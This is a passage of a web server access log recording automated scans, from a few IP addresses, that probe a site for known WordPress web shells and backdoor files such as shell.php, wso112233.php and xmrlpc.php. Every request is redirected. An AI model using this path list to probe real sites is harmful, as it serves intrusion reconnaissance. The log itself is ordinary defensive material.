/wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:19 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:22 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:23 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:26 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:27 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:28 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:29 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:30 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:30 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:31 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:32 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:32 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:33 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:34 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:36 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:38 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:41 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:42 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:43 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:44 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:45 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:46 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:46 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:48 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:49 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:51 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:52 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:54 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:55 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:56 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:57 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:59 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:02 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:03 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:05 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:07 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:08 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:08 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:09 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:10 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:11 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:12 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:13 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:13 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:14 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:16 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:17 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:18 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:19 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:21 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:23 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:24 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:26 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:27 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:28 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:29 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:32 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:32 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:33 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:34 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:35 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:37 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:38 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:39 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:40 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:42 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:43 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:45 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:48 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:53 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:55 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:55 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:57 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:41:58 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:00 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:00 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:01 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:02 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:03 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:04 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:06 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:08 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:09 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:10 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:11 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:12 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:12 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:13 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:14 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:14 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:15 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:16 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:16 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:17 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:19 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:20 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:21 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:21 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:22 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:23 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:24 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:25 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:26 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:26 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:27 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:28 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:28 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:29 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:29 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:29 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:30 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:31 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:31 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:33 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:34 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:34 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:35 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:35 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:36 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:36 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:37 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:42:39 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.121.186.102 - - [14/Apr/2025:22:48:02 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.121.186.102 - - [14/Apr/2025:22:48:04 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.121.186.102 - - [14/Apr/2025:22:48:05 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.121.186.102 - - [14/Apr/2025:22:48:06 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.121.186.102 - - [14/Apr/2025:22:48:07 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.121.186.102 - - [14/Apr/2025:22:48:08 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.121.186.102 - - [14/Apr/2025:22:48:09 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.121.186.102 - - [14/Apr/2025:22:48:09 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.121.186.102 - - [14/Apr/2025:22:48:10 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.121.186.102 - - [14/Apr/2025:22:48:10 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.164.202.241 - - [14/Apr/2025:22:53:19 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:22 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:24 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:25 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:28 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:29 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:30 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:32 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:34 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:35 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:36 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:38 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:39 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:40 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:43 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:44 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:45 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:46 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:47 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:48 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:49 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:50 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:51 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:53 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:54 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:55 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:53:58 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:01 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:03 -0400] "GET /hoot.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:05 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:07 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:10 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:12 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:14 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:15 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:18 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:20 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:21 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:23 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:24 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:26 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:27 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:28 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:29 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:30 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:31 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:32 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:33 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:35 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:35 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:37 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:38 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:39 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:41 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:42 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:43 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:45 -0400] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:45 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:46 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:47 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:48 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:49 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:50 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:51 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:53 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:54 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:55 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:54:57 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:00 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:01 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:03 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:06 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:08 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:10 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:14 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:17 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:23 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:26 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:27 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:32 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:34 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:38 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:41 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:42 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:44 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:45 